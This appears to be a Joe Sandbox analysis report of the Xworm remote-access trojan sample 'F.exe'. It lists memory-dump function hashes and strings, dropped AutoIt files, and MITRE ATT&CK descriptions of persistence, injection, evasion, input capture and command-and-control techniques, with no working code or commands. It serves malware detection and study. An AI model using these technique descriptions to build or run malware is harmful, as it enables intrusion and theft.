Function 04BEEB20 Relevance: 10.2, Strings: 8, Instructions: 181COMMON

Download Yara Rule

Strings

,gq, xrefs: 04BEEB75
$cq, xrefs: 04BEECD7
$cq, xrefs: 04BEEC6F
0oFp, xrefs: 04BEECAF
$cq, xrefs: 04BEEC89
$cq, xrefs: 04BEECBD
$cq, xrefs: 04BEEC18
$cq, xrefs: 04BEECA3

Memory Dump Source

Source File: 0000001B.00000002.2763515682.0000000004BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BE0000, based on PE: false

Similarity

API ID:
String ID: ,gq$0oFp$$cq$$cq$$cq$$cq$$cq$$cq
API String ID: 0-3690240453
Opcode ID: 7a5a834b0f0620a3603eadcf92fb25b1d8df1cad11ee8875f1f114ce6ba6ef15
Instruction ID: 98b6d91d1c05ca4c02c98f81bd403b1951adb78ced467735cf4f18b118cad79b
Opcode Fuzzy Hash: 7a5a834b0f0620a3603eadcf92fb25b1d8df1cad11ee8875f1f114ce6ba6ef15
Instruction Fuzzy Hash: 8F5109723044148F8B2AABBB98A593D3A96FFC865175504EAE117CB3B3EF14EC409752

Function 04BEED50 Relevance: 9.2, Strings: 7, Instructions: 453COMMON

Download Yara Rule

Strings

0oFp, xrefs: 04BEF1AB
0oFp, xrefs: 04BEF19F
$cq, xrefs: 04BEF0D4
0oFp, xrefs: 04BEF16D
`Qcq, xrefs: 04BEF264
$cq, xrefs: 04BEF078
$cq, xrefs: 04BEF28E

Memory Dump Source

Source File: 0000001B.00000002.2763515682.0000000004BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BE0000, based on PE: false

Similarity

API ID:
String ID: 0oFp$0oFp$0oFp$`Qcq$$cq$$cq$$cq
API String ID: 0-357146346
Opcode ID: 3243e46d4341b545ba5e2c05dc64d3a0c3b983612778612d881831f9cf2efe3d
Instruction ID: 2417b6aef034f2a668582aaa4560d85fbe32bbcb6093878583d5588b3f8fd5f8
Opcode Fuzzy Hash: 3243e46d4341b545ba5e2c05dc64d3a0c3b983612778612d881831f9cf2efe3d
Instruction Fuzzy Hash: 85E1D4317101154FDB199F7A886463E76E6EFC9B10B2548EAD902DF3A6EF34EC018792

Function 07481BE0 Relevance: 9.2, Strings: 7, Instructions: 408COMMON

Download Yara Rule

Strings

4'cq, xrefs: 07481C86
tPcq, xrefs: 07481FDF
4'cq, xrefs: 07481F95
tPcq, xrefs: 07481FEB
4'cq, xrefs: 07481C92
$ca, xrefs: 074820B4
4'cq, xrefs: 07481F89

Memory Dump Source

Source File: 0000001B.00000002.2860019841.0000000007480000.00000040.00000800.00020000.00000000.sdmp, Offset: 07480000, based on PE: false

Similarity

API ID:
String ID: $ca$4'cq$4'cq$4'cq$4'cq$tPcq$tPcq
API String ID: 0-3802632805
Opcode ID: 6cc7efda00d86eb7dc99246cf17f11f925933f0c4b1d1a03b01309b43ac99f4f
Instruction ID: d42d1b2be7272182e747534c7816dbf5ef1d9e42207c93b5718a327c65e18b4c
Opcode Fuzzy Hash: 6cc7efda00d86eb7dc99246cf17f11f925933f0c4b1d1a03b01309b43ac99f4f
Instruction Fuzzy Hash: ECD1E6B1B0420ECFCB65AB6894506EFBBA2EFC6211F1484AFD615CB356DB319842C791

Function 07483678 Relevance: 8.9, Strings: 7, Instructions: 186COMMON

Download Yara Rule

Strings

4'cq, xrefs: 0748372E
$cq, xrefs: 0748382A
$cq, xrefs: 074837FF
b, xrefs: 0748387B
b, xrefs: 0748386D
4'cq, xrefs: 07483722
$cq, xrefs: 07483836

Memory Dump Source

Source File: 0000001B.00000002.2860019841.0000000007480000.00000040.00000800.00020000.00000000.sdmp, Offset: 07480000, based on PE: false

Similarity

API ID:
String ID: 4'cq$4'cq$$cq$$cq$$cq$b$b
API String ID: 0-3877700585
Opcode ID: 8c85fc2db3968ea3f94bbec63f1b5340c4fa1a74e1d7ffddc68969c4c74c66dd
Instruction ID: c18d22d4f338ff1363f7c9b1d1288448d49f12afc9ac8e170b968e4f69898bf6
Opcode Fuzzy Hash: 8c85fc2db3968ea3f94bbec63f1b5340c4fa1a74e1d7ffddc68969c4c74c66dd
Instruction Fuzzy Hash: 255129F570420A9FDB656E6984107AFBBB6AFC2A20F24C47BD545CB381DB35C882C791

Function 04BE0C62 Relevance: 6.4, Strings: 5, Instructions: 107COMMON

Download Yara Rule

Strings

p, xrefs: 04BE0C7A
p, xrefs: 04BE0CCA
p, xrefs: 04BE0C8A
p, xrefs: 04BE0CDA
p, xrefs: 04BE0CEA

Memory Dump Source

Source File: 0000001B.00000002.2763515682.0000000004BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BE0000, based on PE: false

Similarity

API ID:
String ID: p$p$p$p$p
API String ID: 0-945622192
Opcode ID: 938aab183a9f7a31f156e5408c66e5226efb7c9407f090a4311d2007018e5b51
Instruction ID: 66e7892044256f350aced93c9679e94e87b6d10c31bbf2445fdb9a8cfaa3efc0
Opcode Fuzzy Hash: 938aab183a9f7a31f156e5408c66e5226efb7c9407f090a4311d2007018e5b51
Instruction Fuzzy Hash: 5E21904B80E7E55FD313563968B52E6BF618E43568B0A03D7CDC4CB1A3E9081D0E83B2

Function 04BE7A09 Relevance: 5.2, Strings: 4, Instructions: 243COMMON

Download Yara Rule

Strings

`dq, xrefs: 04BE7B8A
`dq, xrefs: 04BE7B0B
`dq, xrefs: 04BE7CAA
`dq, xrefs: 04BE7C2C

Memory Dump Source

Source File: 0000001B.00000002.2763515682.0000000004BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BE0000, based on PE: false

Similarity

API ID:
String ID: `dq$`dq$`dq$`dq
API String ID: 0-2321115389
Opcode ID: c9b813236a363e91c36318009bdf991388f7b5a428fa2126230bf432a1a8c38a
Instruction ID: 9cf24e63b76cb46869b554a64c1d34dccb02a8dd97449b9b1ffb24d6989bdeb2
Opcode Fuzzy Hash: c9b813236a363e91c36318009bdf991388f7b5a428fa2126230bf432a1a8c38a
Instruction Fuzzy Hash: 4AB1D9B4E006099FDB55DFA9D590A9DFBF1FF88304F108629E819AB315DB30A945CF90

Function 04BE7A18 Relevance: 5.2, Strings: 4, Instructions: 234COMMON

Download Yara Rule

Strings

`dq, xrefs: 04BE7B8A
`dq, xrefs: 04BE7B0B
`dq, xrefs: 04BE7CAA
`dq, xrefs: 04BE7C2C

Memory Dump Source

Source File: 0000001B.00000002.2763515682.0000000004BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BE0000, based on PE: false

Similarity

API ID:
String ID: `dq$`dq$`dq$`dq
API String ID: 0-2321115389
Opcode ID: 9d1570a94f8adc1728272f1931a512e5f2c099bfa48c0b26c98a3ef5159d5841
Instruction ID: 4c7bd53b9a2911c92f22e63a77104fb6fd0f08c86c7cbe009cbe67aba6bebe76
Opcode Fuzzy Hash: 9d1570a94f8adc1728272f1931a512e5f2c099bfa48c0b26c98a3ef5159d5841
Instruction Fuzzy Hash: 05B1DAB4E006099FDB55DFA9D990A9DFBF1FF88304F108629E819AB315DB30A945CF90

Function 07485798 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$cq, xrefs: 074857C6
$cq, xrefs: 07485800
$cq, xrefs: 074857F4
$cq, xrefs: 074857AA

Memory Dump Source

Source File: 0000001B.00000002.2860019841.0000000007480000.00000040.00000800.00020000.00000000.sdmp, Offset: 07480000, based on PE: false

Similarity

API ID:
String ID: $cq$$cq$$cq$$cq
API String ID: 0-2876200767
Opcode ID: 5c7fc4ce092ddc05df4e841af948f4a8399e792153091acdcbd0c3664a9b6f4c
Instruction ID: 5a56797951331dad79c0cd2dd331566c96c5e2ced28dac14cbcb6b768dd316e8
Opcode Fuzzy Hash: 5c7fc4ce092ddc05df4e841af948f4a8399e792153091acdcbd0c3664a9b6f4c
Instruction Fuzzy Hash: 452149B570020E9BDBB4B56A98107AFFB969BC0711F64842B9505DB382DE75C8618361

Function 07480308 Relevance: 5.0, Strings: 4, Instructions: 47COMMON

Download Yara Rule

Strings

4'cq, xrefs: 0748037F
$cq, xrefs: 0748035E
4'cq, xrefs: 07480373
$cq, xrefs: 07480352

Memory Dump Source

Source File: 0000001B.00000002.2860019841.0000000007480000.00000040.00000800.00020000.00000000.sdmp, Offset: 07480000, based on PE: false

Similarity

API ID:
String ID: 4'cq$4'cq$$cq$$cq
API String ID: 0-1126079151
Opcode ID: 42e00da4341f763727e397456091ccd334dfb9960f9e32c897601ec191dcd0e9
Instruction ID: 90621f0dd454d08ea55408be81332aa35627f5f8673b877382c67f1f1b123601
Opcode Fuzzy Hash: 42e00da4341f763727e397456091ccd334dfb9960f9e32c897601ec191dcd0e9
Instruction Fuzzy Hash: F501A76071D39A4FD7271668992015B7F726FC361075941DBC581DF3A7CD248D0983A7

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report F.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Xworm

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Operating System Destruction

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\AutoIt3\Au3Check.exe

C:\Program Files (x86)\AutoIt3\Au3Info.exe

C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe

C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe

C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe

C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe

C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe

C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe

Windows Analysis Report
F.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Tactics:	Lateral Movement
Data Sources:	File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre